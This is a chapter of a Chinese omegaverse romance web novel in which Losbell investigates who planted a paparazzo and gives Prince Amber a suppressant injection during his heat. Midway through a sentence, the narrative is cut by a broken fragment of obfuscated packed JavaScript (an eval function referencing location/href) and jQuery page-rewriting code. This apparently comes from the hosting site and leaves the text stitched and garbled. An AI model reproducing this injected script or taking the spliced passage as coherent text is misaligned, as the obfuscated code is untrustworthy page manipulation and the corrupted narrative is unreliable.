34. Chapter 34

    洛斯贝尔毫不犹豫地转身,三步并作两步,步履如风地走出那间令她气闷的客房。


    她踏出屋门时反手关上了房门,沉沉地呼出胸腔郁积的一口气。


    虽然洛斯贝尔闻不见信息素的味道,但她有着正常的嗅觉功能,能够闻见德墨柏亚身上其他不属于信息素的气味。


    再隐蔽的身影都很可能因为一点儿气味暴露踪迹,所以德墨柏亚本身是没有喷香水的习惯的。


    德墨柏亚每天都会喝咖啡提神。不仅如此,就连他书房里的书桌上都用玻璃器皿装一盒咖啡豆,自然的咖啡苦香能够让人的意识更加清醒。


    久而久之,这让德墨柏亚的身上也自然而然地染上些咖啡的气味。


    就在刚刚近距离的接触中,滚烫的体温烘烤出他身上幽微的咖啡味。洛斯贝尔闻到了一股不算浓郁的咖啡的焦香,还混杂着一点儿他刚喝过酒的酒香。


    气味能够连接人的记忆。站在屋外的洛斯贝尔,鼻端仿佛还萦绕着那股咖啡香,她的脑海里不自觉地浮现出刚刚德墨柏亚注视着她的眼神。


    月光下,德墨柏亚背对着光,那双比海蓝宝石还要透亮的眼睛变得晦暗几分,眼底暗流涌动着几分渴求的迫切。


    她深知,只有把敌人逼到退无可退的地步,对方才可能显露出真面目。


    所以德墨柏亚就是想要把她逼急了看看她的深层反应,于是先是质疑,再之后又给颗软枣引诱。


    德墨柏亚缓缓地向她靠近,目光始终凝视着她的眼睛,温热的气息和他身上的气味将她裹挟其中,步步紧逼,几乎完全蒙蔽了她的理智。


    回想起来,洛斯贝尔并没有忽视,她将掌心贴近他脆弱的颈动脉时,德墨柏亚霎时睁大眼睛又压下眉宇的眼神变化。


    她那时还单纯地认为他是意外于她的突然举动,其实反而是德墨柏亚做好了攻击的准备了吧。


    洛斯贝尔忍不住冷笑一声,内心不禁感叹。


    ——德墨柏亚的演技比起安柏来也不遑多让啊。


    正当洛斯贝尔迈步要去找安柏的时候,她的余光再一次注意到了歪倒靠坐在墙边的那个“狗仔”。


    安德鲁怎么还没有来。


    以他的效率,应该很快就找到安柏的下落了。


    洛斯贝尔半蹲下身子,转过偏侧脑袋的昏迷男人的脸,想要看看他究竟长什么样。


    这个人,怎么似乎有点眼熟。


    看多了像安柏和德墨柏亚那样超凡脱俗的脸,乍一看普通的大众脸,洛斯贝尔反而一时想不起来自己究竟是在什么时候见过这个人。


    于是,洛斯贝尔转换了思路。


    如果这个“狗仔”的背后没有其他人的指使和帮助,他断不可能如此轻易地潜入伊特诺宫。还提前得知德墨柏亚在今夜会发生意外,进入易感期,来拍摄素材。


    假设德墨柏亚的丑闻曝光,名誉受损,会有什么人因此得利。除了目的明确的罗非·威尔逊,还有看似与德墨柏亚不对付的首相,亦或是其他处心积虑想要牵至泛法兰帝国的国家代表……


    德墨柏亚的身边危机重重,各方势力虎视眈眈,他必须时刻谨慎小心。


    洛斯贝尔越想越觉得细思极恐,一边思索一边理智逐渐回笼,洛斯贝尔已经无心再去计较纠结刚刚的不满情绪。


    倏地,脑中一道灵光闪现。


    洛斯贝尔突然回忆起来,慈善晚宴那晚她曾在白玫瑰庄园见过这个侍从,他是伍德公爵随手唤来给德墨柏亚带路去宴会厅的人。


    这是伍德公爵身边的人?


    洛斯贝尔蹙起眉头,总隐隐觉得有些不对劲。


    恰在此时,她手腕上的通讯器振动起来。洛斯贝尔看着通讯器显示屏上的备注,没想到会是安德鲁主动拨来的电话。


    通话接通后,安德鲁低沉紧急的声音从耳骨式耳机里传来。


    “一楼贵宾休息室,速来。”


    “莱索王子意外进入发情期了。”


    安德鲁言简意赅,洛斯贝尔闻言后眉头皱得更紧。


    安柏怎么也……


    洛斯贝尔步履匆匆地赶到一楼休息室门口,安德鲁站在门边,旁边还有两个侍卫。


    洛斯贝尔忍不住问:“什么情况。”


    安德鲁将一盒抑制剂递给她,解释说:“找到他的时候已经进入发情期了,他的精神力波动很厉害。”


    不仅是安德鲁,皇宫内的侍卫也都是alpha.尽管安柏的腺体上贴着信息素阻隔贴,但他特殊的精神力还是会对其他人造成影响。


    因此,安德鲁不得不带人守在门口,防止别人进入休息室。


    “莱索王子扔东西不让人靠近,只说要见你。”


    安德鲁平静的语气隐有不耐,他就没见过像安柏这样无理取闹还棘手的omega.


    偏偏安柏还是个他国的王子,安德鲁还不能对他使用强硬手段。


    “我知道了,我进去看看。”洛斯贝尔接过抑制剂,推门进入。


    房门打开的一刹那,屋内的精神力涌出屋外,安德里的浓眉简直要皱成倒八字。


    一进房间,骤然一个软枕被丢到洛斯贝尔脚边,同时伴随着一声凶狠的怒斥。


    “滚!”


    袭来的软枕并没有多少杀伤力,但垂眼看屋内的地上,四处散落着水杯和花瓶的玻璃碎片,以及各种小物件。


    可见,安柏是将屋里能扔的东西都扔了个遍。


    洛斯贝尔抬头看向蜷缩在沙发一角的安柏。他的手上还抓着另一个软枕,满眼警惕地盯着门口,整个人活像是只受惊的兔子。


    倒是还知道给自己找个舒服的地方靠着。


    洛斯贝尔忍不住嗤笑了一声,戏谑地反问:“我也滚?”


    安柏好像才反应过来进屋的人是洛斯贝尔,瞬间委屈巴巴地撅着嘴,丢掉了手里的软枕。他嘟嘟囔囔地喊她的名字,跟受了天大的委屈似的。


    “洛斯贝尔。”


    安柏说话的语调跟触碰了细微的电流一样带着微颤。


    洛斯贝尔踩着一片狼藉的地面走向他,坐在了他身侧的位置上。她一边拆开抑制剂的盒子,一边观察安柏。


    安柏进入发情期的模样可比德墨柏亚易感期的样子要狼狈多了。


    也不知道他刚刚经历了一番什么样的折腾,在宴会厅里时还打理得柔顺的头发,这会儿变得有些毛躁,身上的丝质圆领衫也多了好几道褶皱。


    洛斯贝尔对上他那双潋滟柔情的眼眸,那双粉色眼眸生理性地泛出水光,眼尾还带着点儿楚楚动人的红。


    兴许是因为贴着阻隔贴,安柏释放不出信息素,他的皮肤因


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|14949201|159168||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    热沁出丝丝细密的汗水,像是撒上了亮晶晶的闪粉。


    安柏整个人就跟朵娇花似的,肤如凝脂的皮肤此时雪色映着粉嫩的樱花色,透出比腮红颜色还好看的粉。


    “我先给你注射抑制剂。”


    洛斯贝尔伸手要去帮他解圆领衫的扣子,安柏下意识地往后缩了缩身子,她的手就那么悬空停顿着。


    她收回手,迟疑地问:“要不你自己来。”


    洛斯贝尔一心只想着快点注射抑制剂压制他的发情期,差点儿忘了安柏是个异性。


    “那你解好了再叫我。”她转头背过身去,等安柏自己解开领子。


    安柏颤着手去解脖子上的扣子,可扣子的形状偏偏还是难解的盘扣,他手滑了几次都没能顺利解开。


    安柏咬着唇,越急越解不开,最后烦躁得甩开手,看向洛斯贝尔挺得刚直的后背。


    “我解不开。”他语气幽幽,“洛斯贝尔,你帮我解吧。”


    洛斯贝尔转回头,对上安柏充满怨念的眼神。她沉默着挪近到他面前,直接伸手去解扣子。


    这种事情越解释越含糊,动作越慢越暧昧。洛斯贝尔一言不发,跟完成任务似地快速解开上面的三颗扣子,向右边扯开,露出他贴着信息素阻隔贴的右肩。


    过程中,安柏低头盯着洛斯贝尔心无旁骛的脸。那双毫无波澜的黑色眼睛里不存有一丝旖旎的色彩,看他跟看木桩子似的,没一点儿旁的心思。


    安柏本该觉得庆幸和开心的,但又莫名地觉得有些不是滋味。


    他在洛斯贝尔面前就这么没有吸引力吗。


    “嘶。”


    随着洛斯贝尔揭开信息素阻隔贴的干脆动作,安柏忍不住倒吸一口凉气。


    安柏的声音仿佛带着点儿哭腔:“你轻点儿啊。”


    “一点儿也不懂得怜香惜玉。”他颦蹙着眉头,小声埋怨道。


    洛斯贝尔抬眸扫了他一眼,他水汪汪的眼睛里蓄了泪,她不好意思地往两侧扯了扯嘴角。


    “对不起。”


    洛斯贝尔道歉的速度很快,但她拿抑制剂的针头往安柏的腺体上扎的动作是一点儿也不含糊,她将抑制剂注入安柏的腺体,又迅速地重新贴上阻隔贴。


    “好了。”


    洛斯贝尔一把扯回敞开的领子,流畅地垂眼撇过头错开视线,将用过的针管装回盒子里。


    安柏看她的眼神更幽怨了:“洛斯贝尔,我扣不了扣子。”


    洛斯贝尔扭头,眼神无奈地看向安柏,不说话地速战速决替他扣好了扣子。


    “这回好……”了吧。


    安柏突然将下巴搭在她的肩膀上,洛斯贝尔的身体一瞬间变得僵硬,一动都不敢动。她伸手要去将安柏推开,安柏却娇滴滴地撒娇说。


    “我好累啊,洛斯贝尔。”


    安柏闭上了双眼,将整个人的重量都靠在洛斯贝尔怀里,但也没有多重。


    “给我靠一会儿吧。”安柏气若游丝地轻声说,“好吗,洛斯贝尔。”


    安柏身上淡淡的香水味扑鼻而来,是那天在商场她选的那个味道。


    洛斯贝尔没有立刻推开他,双手垂在身侧。


    她问安柏:“安柏殿下,那天你买的香水放在哪儿了。”


    “还有,你是怎么突然进入发情期的。”